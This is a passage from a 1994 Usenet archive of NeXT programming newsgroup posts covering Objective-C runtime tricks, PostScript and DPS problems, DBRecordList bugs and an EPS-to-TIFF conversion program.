printf("Brightness: %.0f\n", sb); printf("Volume: %i %i\n", vl, vr); printf("Muted: %s\n", mute ? "No" : "Yes"); } NXCloseEventStatus(evh); exit(0); } ---------------------------------------------------------------------- -- Chris Osborn, Network Administrator Voice: 707 253 3130 Napa Valley College Fax: 707 253 3063 2277 Napa-Vallejo Hwy., Napa, CA, 94558 <fozztexx@nvc.cc.ca.us> MIME ok, NeXTMail tolerated
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: mccallum@cs.rochester.edu (Andrew McCallum) Subject: Re: How do you send messages w/ multiple arguments at run-time? In-Reply-To: shill@iphysiol.unil.ch's message of 4 May 1994 21:53:26 GMT Message-ID: <MCCALLUM.94May5135401@vein.cs.rochester.edu> Sender: mccallum@cs.rochester.edu (Andrew McCallum) Organization: Dept. of Computer Science, University of Rochester References: <1994May03.194450.25053@cs.ucla.edu> <MCCALLUM.94May3195310@vein.cs.rochester.edu> <1994May04.193727.9492@cs.ucla.edu> <2q95gm$9nd@cisun2000.unil.ch> Date: 05 May 1994 17:54:01 GMT I already replied to Eskandar by email, but in case other are interested, here's a relevant code snippet (from libcoll): - addContentsOfIfAbsent: (id <Collecting>)aCollection { id (*addElementImp)(id,SEL,elt) = (id(*)(id,SEL,elt)) objc_msg_lookup(self, @selector(addElement:)); BOOL (*includesElementImp)(id,SEL,elt) = (BOOL(*)(id,SEL,elt)) objc_msg_lookup(self, @selector(includesElement:)); void doIt(elt e) { if (!((*includesElementImp)(self, @selector(includesElement), e))) (*addElementImp)(self, @selector(addElement:), e); } [aCollection withElementsCall:doIt]; return self; } In this example the only reason for doing the method lookup ahead of time is speed optimization, i.e. to avoid a repeated method lookup inside doIt(). -- R. Andrew McCallum EBOX: mccallum@cs.rochester.edu Computer Science Dept VOX: (716) 275-2527, (716) 275-1372 (lab) University of Rochester FAX: (716) 461-2018 Rochester, NY 14627-0226 HTTP://www.cs.rochester.edu/users/grads/mccallum
Newsgroups: comp.sys.next.programmer From: deininge@cipher.cen.encompass.com (David Deininger) Subject: How to make fat libraries Message-ID: <1994May5.151602.9567@glv.cen.encompass.com> Sender: usenet@glv.cen.encompass.com Organization: Encompass Date: Thu, 5 May 1994 15:16:02 GMT Hi, I'm trying to compile a library, sort-of using the NeXT-supplied makefiles. It works fine if I want to just compile for the architecture I'm running, but i can't get it to compile fat. I've defined TARGET_ARCHS in my makefile.preamble, but that doesn't seem to do anything. Anyone have any suggestions? Also I heard that there exists a PB hack to let me make libraries in PB. Could someone tell me how to get ahold of it? I'd love to give it a try. Thanks in advance. -- --David Deininger (deininge@cipher.cen.encompass.com)
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: synchronising contexts, BuildChar Date: 5 May 1994 15:53:39 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405052050.AA00299@flexus> LS, I have defined a PostScript Type 3 font that needs assistance from a server that's running in another context. At this time I have set up a dummy server that's all PostScript. The font defines a rendez-vous with the server context from BuildChar (using two locks and a condition). This rendez-vous operates correctly when executed manually, and the font operates correctly if it's told not to wait for the server. But when the two are combined, the whole DPS system locks up, and I have to reboot (I'm not on a network, and NeXT didn't add a DPS bypass). Why is that? Is it a bug, again (can't I have a *single* week without a new bug)!?? Help! Suggestions for alternatives are welcome too. Would file I/O with sockets (yuck) work? (Running NS_3.2 on a NeXTstation.) Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer From: ctm@ardi.com (Clifford T. Matthews) Subject: Re: Together we stand, divided we fall. Message-ID: <CpCtw4.41r@cobra.cs.unm.edu> Sender: news@cobra.cs.unm.edu Organization: ARDI References: <1994May5.052804.7999@cs.yale.edu> Date: Fri, 6 May 1994 00:12:08 GMT In article <1994May5.052804.7999@cs.yale.edu> nathan@laplace.csb.yale.edu (Nathan F. Janette) writes: >Reply-To: nathan@laplace.csb.yale.edu (Nathan F. Janette) >Distribution: world > >Together we stand, divided we fall. Yesterday we were divided; today we have fallen. ... >The cost (with some haggling) would >appear to be at about $m.nK per person/ computer unit at moderate >density, or $xK for high density. If we can get enough companies >involved, perhaps we can do even better on the price. ... Please do not post prices in these newsgroups. Prices are evil. Considering the monummental breach of netiquette I recommend a boycott of this endeavor. --Cliff ctm@ardi.com
Newsgroups: comp.sys.next.programmer Subject: NeXT Message-ID: <1994May5.204924.4336@rivers> From: jt08@uwrf.edu (JASON TRIPLAT) Date: 5 May 94 20:49:23 -0600 Keywords: Help Needed with NeXT Summary: Need NeXT Information Can somebody help me? I need information about NeXT. I would like info on the specifications about how next is built. I'm not too much interested in mach, as I am with the window servers, obj-C, Gnu, and the App kit. Any information, or FTP sites on where to get info will greatly be appreciated. My email address is jason.r.triplat@uwrf.edu
From: mjl@tick.cslab.tuwien.ac.at (Martin J. Laubach) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Re: How do you send messages w/ multiple arguments at Followup-To: comp.sys.next.programmer,comp.lang.objective-c Date: 6 May 1994 10:33:05 GMT Organization: Technical University Vienna, Austria Message-ID: <2qd6d1$ss0@email.tuwien.ac.at> References: <1994May03.194450.25053@cs.ucla.edu> <MCCALLUM.94May5135401@vein.cs.rochester.edu> | - addContentsOfIfAbsent: (id <Collecting>)aCollection | { | id (*addElementImp)(id,SEL,elt) = (id(*)(id,SEL,elt)) | objc_msg_lookup(self, @selector(addElement:)); | BOOL (*includesElementImp)(id,SEL,elt) = (BOOL(*)(id,SEL,elt)) | objc_msg_lookup(self, @selector(includesElement:)); Of course, doing things this way nails you down on using gcc. It most definitely won't work on a different compiler. I know I won't on mine, and bets are good it won't on StepStone either. If that is okay with you, go ahead... else stay away from those implementation-dependent hacks. mjl
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: gerben@rna.nl (Gerben Wierda) Subject: PostScript problems with Frame output. Message-ID: <1994May6.102352.901@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Fri, 6 May 1994 10:23:52 GMT I have a file create dwith FrameMaker. I'd like to print this 2page up. There are some problems, however. 0. I can open it with Preview, but in Simple mode only. All pages including pictures are shown. But psnup does not work on this file. So I look at the PostScript itself 1. The header says: > %! > %%BoundingBox: (atend) > %%Pages: (atend) > %%DocumentFonts: (atend) > %%EndComments > % > % FrameMaker PostScript Prolog 3.0, for use with FrameMaker 3.0 > % Copyright (c) 1986,87,89,90,91 by Frame Technology Corporation. > % All rights reserved. > % > % Known Problems: > % Due to bugs in Transcript, the 'PS-Adobe-' is omitted from line 1 > When I add PS-Adobe-[123].0 to the first line psnup works. And if I look at the result with Preview it seems to be correct. However, the eps pictures do not show up on screen in the original (header fixed) document and they give PostScript errors when shown in the 2up document, they appear to be in the wrong place., and trying to print one page from either the changed original or the result of psnup does not work. The console says: > May 6 12:05:47 mr_ed Preview[850]: DPS client library error: PostScript program error, DPSContext 2360c > May 6 12:05:47 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand: FMEPSF ]%% > May 6 12:05:49 mr_ed Preview[850]: DPS client library error: PostScript program error, DPSContext 2360c > May 6 12:05:49 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand: C ]%% > May 6 12:05:49 mr_ed Preview[850]: DPS client library error: PostScript program error, DPSContext 2360c > May 6 12:05:49 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand: C ]%% > May 6 12:05:49 mr_ed Preview[850]: DPS client library error: PostScript program error, DPSContext 2360c > May 6 12:05:49 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand: pagesave ]%% > That leaves me with the possibility to print the entire 142-page document from the original, which is not very attractive. Does someone know how to fix this? How can I get NEXTSTEP-acceptable PostScript out of a Framemaker 3.0 generated postscript file? Thanks, -- gerben@rna.nl (Gerben Wierda) NEXTSTEP RD242 "If you don't know where you're going, any road will take you there" Paraphrased in Alice in Wonderland, originally from the Talmud.
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Text object on Mac? Message-ID: <1994May6.085138.2870@prim.demon.co.uk> Organization: Primitive Software Ltd. Date: Fri, 6 May 1994 08:51:38 GMT Does anything like the Text object exist on the Mac? I'm mainly interested in the ability to display RTF and include graphics cells that can be clicked on. Just curious. :) Dave Griffiths
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: textGray in disabled TextField? Date: 6 May 1994 14:37:23 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2qdkn3$t35@netnews.upenn.edu> Hi, I have a TextField object in which I would like the text to be displayed in BLACK when the object is not enabled. From experimenting I find that regardless of what the setTextGray or setTextColor setting is, an enabled TextField displays text in DK_GRAY whenever it receives a display message. This is true whether autodisplay is on or off. Is there a way to achieve the effect I'm looking for ? Any clues appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: ebarker@world.std.com (Ed Barker) Subject: Fortran to C Translator Message-ID: <CpE3wK.LA7@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Date: Fri, 6 May 1994 16:45:55 GMT There was recently discussion of a FORTRAN to C translator. Is this F2C available on any of the FTP sites or is it a commercial package? Thanks for any info. cx
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Fortran to C Translator Date: 6 May 1994 18:06:17 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2qe0up$sup@news.duke.edu> References: <CpE3wK.LA7@world.std.com> Ed Barker writes > There was recently discussion of a FORTRAN to C translator. Is this > F2C available on any of the FTP sites or is it a commercial package? > Thanks for any info. > cx The source code and bug fixes are available by anonymous FTP from `netlib.att.com:/netlib/f2c', and by email from `netlib@research.att.com'. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: mccallum@cs.rochester.edu (Andrew McCallum) Subject: Re: How do you send messages w/ multiple arguments at In-Reply-To: mjl@tick.cslab.tuwien.ac.at's message of 6 May 1994 10:33:05 GMT Message-ID: <MCCALLUM.94May6104342@vein.cs.rochester.edu> Followup-To: comp.sys.next.programmer,comp.lang.objective-c Sender: mccallum@cs.rochester.edu (Andrew McCallum) Organization: Dept. of Computer Science, University of Rochester References: <1994May03.194450.25053@cs.ucla.edu> <MCCALLUM.94May5135401@vein.cs.rochester.edu> <2qd6d1$ss0@email.tuwien.ac.at> Date: 06 May 1994 14:43:40 GMT In article <2qd6d1$ss0@email.tuwien.ac.at> mjl@tick.cslab.tuwien.ac.at (Martin J. Laubach) writes: | - addContentsOfIfAbsent: (id <Collecting>)aCollection | { | id (*addElementImp)(id,SEL,elt) = (id(*)(id,SEL,elt)) | objc_msg_lookup(self, @selector(addElement:)); | BOOL (*includesElementImp)(id,SEL,elt) = (BOOL(*)(id,SEL,elt)) | objc_msg_lookup(self, @selector(includesElement:)); Of course, doing things this way nails you down on using gcc. It most definitely won't work on a different compiler. I know I won't on mine, and bets are good it won't on StepStone either. If that is okay with you, go ahead... else stay away from those implementation-dependent hacks. Not true. The newest version of libcoll, (from which this code snippet was taken), compiles and runs great under NEXTSTEP 3.3. The insignificant syntactic differences between the NeXT runtime and the GNU runtime are handled by #defines. For instance, #define objc_msg_lookup(OBJ,SEL) [(id)(OBJ) methodFor:(SEL)] does the trick for the above snippet. A whole bunch of #defines like this are gathered in the file `objc-gnu2next.h', which is part of the new libcoll. The new libcoll will be released within the next week. Here's part of the README: ------8<------8<------8<------8<------8<------8<------8<------8< GNU Objective-C Collection Library ********************************** The library requires gcc 2.5.8 or higher. The library does not work with the NEXTSTEP 3.2 compiler because NeXT's cc cannot handle nested functions; NEXTSTEP 3.3 does, however, and this version of libcoll is already running internally at NeXT. See the `INSTALL' file for more instructions about compiling and installing the library. What is the Collection library? =============================== It's a library of Objective-C objects with similar functionality to Smalltalk's Collection objects. It includes: Set, Bag, Array, CircularArray, GapArray, Queue, Stack, Heap, LinkedList, BinaryTree, SplayTree, RBTree, Dictionary, MappedCollector, EltNodeCollector and DelegateList. Outside of its main heirarchy `libcoll' also includes List, HashTable, Storage and NXStringTable objects compatible with NeXT's objects of the same name. As an extra plus, the library includes classes Magnitude and Time. Preliminary documentation is available via `texinfo' in the files `libcoll.info' and `libcoll.texi'. The info file was created from the texi file using an modified version of `makeinfo' available by anonymous ftp from `iesd.auc.dk:pub/ObjC'. Here is the object inheritance heirarchy. All protocols end with "ing"; all collection protocols end with "Collecting". All collection abtract superclasses (classes which are not usable without subclassing) end with "Collection"; Collection <Collecting> Set Bag KeyedCollection <KeyedCollecting> Dictionary MappedCollector IndexedCollection <IndexedCollecting> Array Stack GapArray CircularArray Queue Heap LinkedList BinaryTree RBTree EltNodeCollector String DelegateList LinkedListNode LinkedListEltNode BinaryTreeNode BinaryTreeEltNode RBTreeNode RBTreeEltNode HashTable List Storage NXStringTable Noteworthy changes in `940505' ============================== * A NeXT-compatible NXStringTable object, thanks to Adam Fedor <adam@bastille.rmnug.org>. * SplayTree and RBTree classes now operational. More methods in Time class implemented. * Some API cleanup: -delegateListList changed to -delegateListCollection. -includesSameContents: changed to -contentsEqual:. -insertObject:atKey: changed to -putObject:atKey:. See the ChangeLog for more detail. * Configuration by autoconf in the self-tests directory. * Bug fixes: BinaryTree rotate methods fixed. Fixed the way `ifNone:' and `ifAbsent:' functions were called. Fixed the way long elements are printed. Added methods for preventing memory leaks by unfinished enumerations: `-newEnumState' and `-freeEnumState:'. Several bug fixes in List, and changes for better NeXT-compability. Better compatibility in Storage class. And more. ------8<------8<------8<------8<------8<------8<------8<------8< I don't know about StepStone, but there you're probably right. -- R. Andrew McCallum EBOX: mccallum@cs.rochester.edu Computer Science Dept VOX: (716) 275-2527, (716) 275-1372 (lab) University of Rochester FAX: (716) 461-2018 Rochester, NY 14627-0226 HTTP://www.cs.rochester.edu/users/grads/mccallum
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: synchronising contexts, BuildChar In-Reply-To: flexus!rfschtkt@maze.ruca.ua.ac.be's message of 5 May 1994 15:53:39 -0500 Message-ID: <BYER.94May6110527@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <9405052050.AA00299@flexus> Date: Fri, 6 May 1994 18:05:27 GMT Raf Schietekat writes: Raf> LS, I have defined a PostScript Type 3 font that needs assistance from Raf> a server that's running in another context. At this time I have set up Raf> a dummy server that's all PostScript. The font defines a rendez-vous Raf> with the server context from BuildChar (using two locks and a Raf> condition). This rendez-vous operates correctly when executed manually, Raf> and the font operates correctly if it's told not to wait for the Raf> server. But when the two are combined, the whole DPS system locks up, Raf> and I have to reboot (I'm not on a network, and NeXT didn't add a DPS Raf> bypass). Why is that? Is it a bug, again (can't I have a *single* week Raf> without a new bug)!?? Help! Well... Yes, it's both a real bug and a documentation bug. "condition", "wait", et.al, should not be allowed to execute within a "BuildChar" or "BuildGlyph" proc. Raf> Suggestions for alternatives are welcome too. Would file I/O with Raf> sockets (yuck) work? (Running NS_3.2 on a NeXTstation.) You could have the font grab the character definitions at definefont time, and stick them in it's own /CharProcs dictionary. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: sean@zapotec.math.byu.edu (Sean O. Luke) Newsgroups: comp.sys.next.programmer Subject: Re: EPS to TIFF conversion Date: 6 May 1994 18:40:31 GMT Organization: Brigham Young University Message-ID: <2qe2uv$3jb@hamblin.math.byu.edu> References: <Cp657q.2ro@hazel.north.de> <2q5ktu$ct3@paperboy.gsfc.nasa.gov> <BYER.94May3115952@birch.mv.us.adobe.com> Scott Byer (byer@mv.us.adobe.com) wrote: : IconBuilder does just what you want. I just created a black-to-red blend on : my NeXT mono in Illustrator, loaded it into IconBuilder, and saved it as : TIFF. The resulting 24-bit TIFF displayed just like it should on my color : SPARCstation. : "No problem." Problem. It doesn't always work--on my monochrome NeXT, IconBuilder consistently saves images only in grey regardless of what bit level I set the file. I think it has something to do with the fact that NeXT rasterizes to buffered memory, but IconBuilder reads directly from that memory. +---------------------------------------------------------+ | Sean Luke This signature no verb | | sean@digaudio.byu.edu ,,, | | sean@zapotec.math.byu.edu (o o) UCLA CS in September | +------------------------oOO--(_)--OOo--------------------+
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Communication between a NeXT and a PC? Date: 6 May 1994 18:42:42 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2qe332$13u@news.duke.edu> I'm looking into this for a researcher here on campus, and I don't know if what he's asking for is possible. Has someone else tried something similar successfully? Current setup: A PC (some 486/66) running DOS, and a NeXTCube running NS 3.2. They are connected in such a way that the NeXT appears as a drive on the PC. There's a custom-written C++ program that's run on the PC which controls a DSP card, attenuators and the like; it generates sounds and records data into a file on the PC. The C++ program, having a DOS interface, is not intuitive to use--there is no GUI. What he needs: A) A more intuitive interface for running the C++ program. B) A way to quickly (preferably in real-time) graph the results. Ideas we have: A) Create a NeXTSTEP app with sliders, buttons, etc. which drives the C++ program on the PC. This would require writing an API for the C++ program. B) Put the sliders, buttons, etc. in the C++ program and do the graphing on the NeXT. Questions/problems: 1. Can the NeXT access a PC buffer? If so this would give the NeXT access to the data as it is coming in, and we could have the plots appear on the NeXT in the same way as they now appear on the PC. 2. Can a NeXT app drive a PC app at all? 3. What would be the best/simplest graphing software to use for creating a scatter plot and a bar chart from output data relatively quickly on the NeXT? They've tried Mathematika, DADisp, SciPlot, Mesa, and VVdrafter. In earlier version of Mathematica it was very difficult for them to produce publication-quality graphs; they haven't yet received their upgrade to see if this has improved. SciPlot is the easiest to use, but it's programmability is limited. Mesa is fairly easy to use, but the graphics are lacking. They haven't had a lot of experience with it yet. VVdrafter may have a lot of potential, but it is not very intuitive, poorly documented. I've suggested they take a look at NXYPlot. 4. The main concern is one of speed: The controls of the sound stimulus need to be as fast as possible, and this may dictate keeping the controls in the C++ program on the PC. The display of the data does not need to be as fast. Thanks for any help and insights anyone can provide. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
Newsgroups: comp.sys.next.programmer From: scott@parsec.mixcom.com (Scott Violet) Subject: Possible bug with DBRecordStreams (DBRecordLists too) Message-ID: <1994May6.144832.578@parsec.mixcom.com> Summary: Inserting into empty Tables Keywords: Bug, DBRecordList, empty, table Organization: SmartSoft Distribution: usa Date: Fri, 6 May 1994 14:48:32 GMT Hi all, I'm having a problem with DBRecordList's (and streams) and was wondering if anyone else out there might know what is going on, or konw if it is a known bug. It seems that if I set up a DBRecordList, query, and then try to insert into the table when the table is currently empty, it won't work. The DBRecordList tells me that its status is DB_NotReady. When I try to accomplish the same thing when the table has something it it, it works fine. Is this a known bug? Or am I doing something wrong? If this is a bug, then is the best way to get around it putting a record in the table that won't be deleted? Thanks, -Scott Violet (Scott@SmartSoft.com)
Newsgroups: comp.sys.next.programmer From: shergot5@mach1.wlu.ca (scott hergott u) Subject: Webster & Pronunciation Message-ID: <CpEBqK.4Mv@mach1.wlu.ca> Organization: Wilfrid Laurier University Date: Fri, 6 May 1994 19:35:08 GMT I am attempting to create a text to speak application of NSI 3.2 by using Webster.app and phonentic buildup. To do this, I wish to query the dictionary for the pronunciation field, then decode it into the proper phonemes. I looked through all of the documention I have on the dictionary, but it would seem this field is not directly accessible and must be parsed. If this is the case, does anyone have any literature on how to easily accomplish this easily? Thanks Scott Hergott
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: Re: EPS to TIFF conversion Message-ID: <CpBx6x.Fvp@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. References: <2q5ktu$ct3@paperboy.gsfc.nasa.gov> Date: Thu, 5 May 1994 12:25:44 GMT In article <Cp657q.2ro@hazel.north.de> gmd@hazel.north.de (Gerriet M. Denkmann) wrote: > I am trying to convert EPS to TIFF in a representation *different* from my > screen. > > For example: I have a two bit gray screen and want to convert EPS to 24 > bit rgb TIFF. > > Does anybody know how to do this? I tried all I could think of, but with > no success at all. > > Any hints will be very much appreciated. > > Gerriet. > robert@ictv.com (Robert Patrick Thille) informed about dwrites: dwrite APPNAME NXWindowDepthLimit TestTwentyFourBitRGB and byer@mv.us.adobe.com (Scott Byer) mentioned: "IconBuilder does just what you want" Now let me rephrase my problem: I am trying to write a program, which reads an eps file (via NXImage initFromFile:) and converts this to TIFF (via writeTIFF:). But - and this is my problem - the user should be able to set the display depth. Gerriet.
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.programmer Subject: Re: EPS to TIFF conversion Date: 6 May 1994 19:48:57 GMT Organization: University Computing Services - Oregon State University Message-ID: <2qe6v9$6bf@gaia.ucs.orst.edu> References: <BYER.94May3115952@birch.mv.us.adobe.com> In article <BYER.94May3115952@birch.mv.us.adobe.com> byer@mv.us.adobe.com (Scott Byer) writes: > IconBuilder does just what you want. I just created a black-to-red blend on > my NeXT mono in Illustrator, loaded it into IconBuilder, and saved it as > TIFF. The resulting 24-bit TIFF displayed just like it should on my color > SPARCstation. > .. Also, I would like a tiff image to be 150 or 300 dpi, not 72 dpi. How can I do this with existing software and/or with programming my own app. When I send the eps image to a 300 dpi printer, the ps engine generates a 300 dpi image. What about writing out a 300 dpi image to a file? - Tim - -------------------------------------------------------------- Tim F. Pugh email: tpugh@oce.orst.edu Oceanic and Atmospheric Sciences voice: 503-737-2270 Oregon State University fax: 503-737-2064 NeXTmail ok!
From: rutledge@camis.Stanford.EDU (Geoffrey Rutledge) Newsgroups: comp.sys.next.programmer Subject: Re: EPS to TIFF conversion (Code to solve problem) Date: 6 May 1994 20:09:16 GMT Organization: Stanford University Message-ID: <2qe85c$1qi@nntp2.Stanford.EDU> References: <1994May3.165752.25324@ictv.com> In article <1994May3.165752.25324@ictv.com> robert@ictv.com (Robert Patrick Thille) writes: > Robert F. Cahalan writes > > In article <Cp657q.2ro@hazel.north.de> gmd@hazel.north.de (Gerriet M. > > Denkmann) writes: > > > I am trying to convert EPS to TIFF in a representation *different* from > > my screen. > > > Gerriet. > > If you want to rasterize EPS, take a look at the NXImage class and > NXBitmapImageRep and NXEPSImageRep classes. The program you are thinking > of should be about 20 lines long. > Robert Thille NeXTMail > robert@ictv.com OK > 660 Bair Island Rd #40 Redwood City CA 94063 PGP Public Key via finger I asked how to do this sometime ago, and received a helpful response and some code. I include the code with some modifications to support compressing the tiff output. Feel free to use, fix and redistribute. (Just don't blame me for any problems it causes you!) Tom Swanner III sent the following: ================================================================= Enclosed is a little NeXT program which will convert an EPS file into a tiff file. You set the size (by setting a scale factor) and depth (in bits/pixel) with command switches. The default size is the size in the BoundingBox in the EPS file. The default depth is 24 bits/pixel. To compile it do this: cc -g -o eps2tiff eps2tiff.m -lNeXT_s To use it do this: eps2tiff -s 2 -d 16 inputfile outputfile (this will give you twice the number of points in the BoundingBox at 16 bits/pixel) If you want to keep the resolution the same and have 24 bits/pixel do this: eps2tiff inputfile outputfile I hope this helps... Tom Swanner III bizarre@clients-r-us.tamu.edu =============== I took the code sent by Tom Swanner, and added 2 more switches to it: -z causes the file to be saved in LZW compressed form -j n causes the file to be saved in jpeg compressed form, with compression factor n in the range 1.0 - 255.0. Note that if n is 0, the default compression (10.0) is used. Only works for tiffs with at least 4 bits per pixel. I also note that the input file can be a tiff file or an eps or ps -- all that I tried seemed to work. The program does occupy large amounts of swap space during compression of large tiff files, though. The program works by taking advantage of the ImageRep object's ability to convert from one format to another. The program reads the input file (which can be tiff OR ps), then writes the output file in the specified tiff format. Note that there is very little error checking for invalid arguments. Use at your own risk. Geoff Rutledge ================= // file eps2tiff.m # Usage:eps2tiff [-d nn] [-s nn] [-z] [-j nn] infile outfile #include <stdio.h> #import <dpsclient/event.h> #import <appkit/appkit.h> #import <appkit/NXImage.h> #import <appkit/NXEPSImageRep.h> #import <appkit/NXBitmapImageRep.h> #import <appkit/View.h> #import <appkit/Window.h> #import <appkit/graphics.h> #import <appkit/tiff.h> #import <streams/streams.h> // to compile cc -g -o eps2tiff eps2tiff.m -lNeXT_s void main(argc, argv) int argc; char *argv[]; { NXStream *fp, *fpz; id myRep, myWindow; NXSize theSize; char filename[80]; extern char *optarg; extern int optind; int scale = 1; int c; int depth = 24; //added by GWR, 10/27/92 int compressionType = NX_TIFF_COMPRESSION_NONE; int errflg = 0; id myTiffRep; float compressionFactor = 0.0; optind = 1; while ((c = getopt(argc, argv, "zj:d:s:")) != EOF) { switch (c) { case 'd': { (void) sscanf (optarg, "%d", &depth); break; } case 's': { (void) sscanf (optarg, "%d", &scale); break; } case 'z': { compressionType = NX_TIFF_COMPRESSION_LZW; break; } case 'j': { compressionType = NX_TIFF_COMPRESSION_JPEG; (void) sscanf (optarg, "%f", &compressionFactor); break; } default: { errflg++; } } if (errflg) { fprintf(stderr, "Usage:eps2tiff [-d nn] [-s nn] [-z] [-j nn] infile outfile\n"); exit(2); } } strcpy(filename, argv[optind++]); fprintf(stderr,"input = %s scale = %d\n", filename, scale); [Application new]; myWindow = [[Window alloc] init]; [myWindow setDepthLimit: NX_TwentyFourBitRGBDepth]; fp = NXOpenMemory(NULL, 0, NX_READWRITE); myRep = [[NXImage alloc] initFromFile:filename]; [myRep getSize: &theSize]; /* this is where you get the size */ [myRep setScalable: YES]; /* this is where you change it! */ theSize.width *= scale; theSize.height *= scale; [myRep setSize: &theSize]; [myRep setBackgroundColor: NX_COLORWHITE]; [myRep setCacheDepthBounded:NO]; if ([myRep isCacheDepthBounded]) fprintf(stderr,"CacheDepth is Bounded\n"); switch (depth) { case 2: { [myRep useCacheWithDepth: NX_TwoBitGrayDepth]; break; } case 8: { [myRep useCacheWithDepth: NX_EightBitGrayDepth]; break; } case 12: { [myRep useCacheWithDepth: NX_TwelveBitRGBDepth]; break; } case 24: { [myRep useCacheWithDepth: NX_TwentyFourBitRGBDepth]; break; } default: { fprintf(stderr, "You want a depth of %d but I can only give\ you 2, 8, 12 or 24 bit depth...\nyou will get 24 bits this time\n", depth); } } [myRep writeTIFF: fp allRepresentations: NO]; if (((compressionType == NX_TIFF_COMPRESSION_LZW)||(compressionType == NX_TIFF_COMPRESSION_JPEG)) &&(depth==2)){ fprintf(stderr, "Unable to compress a 2-bit grayscale image: saving as uncompressed\n"); compressionType = NX_TIFF_COMPRESSION_NONE; } switch (compressionType) { case NX_TIFF_COMPRESSION_NONE: { NXSaveToFile(fp, argv[optind]); NXCloseMemory(fp, NX_FREEBUFFER); break; } case NX_TIFF_COMPRESSION_JPEG:{ fpz = NXOpenMemory(NULL, 0, NX_READWRITE); if (!(myTiffRep = [[NXBitmapImageRep alloc] initFromStream:fp])) fprintf(stderr,"myTiffRep failed initialization\n"); NXCloseMemory(fp, NX_FREEBUFFER); fprintf(stderr, "Compressing file %s as jpeg(%f)... ",filename, compressionFactor); [myTiffRep writeTIFF:fpz usingCompression:NX_TIFF_COMPRESSION_JPEG andFactor:compressionFactor]; fprintf(stderr, "Writing %s \n",argv[optind]); NXSaveToFile(fpz, argv[optind]); NXCloseMemory(fpz, NX_FREEBUFFER); break; } case NX_TIFF_COMPRESSION_LZW:{ fpz = NXOpenMemory(NULL, 0, NX_READWRITE); if (!(myTiffRep = [[NXBitmapImageRep alloc] initFromStream:fp])) fprintf(stderr,"myTiffRep failed initialization\n"); NXCloseMemory(fp, NX_FREEBUFFER); fprintf(stderr, "Compressing file %s as lzw-tiff... ",filename); [myTiffRep writeTIFF:fpz usingCompression:NX_TIFF_COMPRESSION_LZW]; fprintf(stderr, "Writing %s \n",argv[optind]); NXSaveToFile(fpz, argv[optind]); NXCloseMemory(fpz, NX_FREEBUFFER); break; } } } -- Geoffrey Rutledge rutledge@camis.stanford.edu
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: EPS to TIFF conversion In-Reply-To: Tim Pugh's message of 6 May 1994 19:48:57 GMT Message-ID: <BYER.94May6145600@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <BYER.94May3115952@birch.mv.us.adobe.com> <2qe6v9$6bf@gaia.ucs.orst.edu> Date: Fri, 6 May 1994 21:55:59 GMT Tim Pugh writes: Tim> .. Also, I would like a tiff image to be 150 or 300 dpi, not 72 dpi. Tim> How can I do this with existing software and/or with programming my own Tim> app. When I send the eps image to a 300 dpi printer, the ps engine Tim> generates a 300 dpi image. What about writing out a 300 dpi image to a Tim> file? If doing your own app, look up "machportdevice" in the documentation. Otherwise, you can hack the EPS directly to fake out IconBuilder - multiply the values in the %%BoundingBox by 4.166, and immediately after the %% comments, place a line containg "4.166 4.166 scale". That'll get you a TIFF file that you should be able to manipuate into being 300 dpi. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
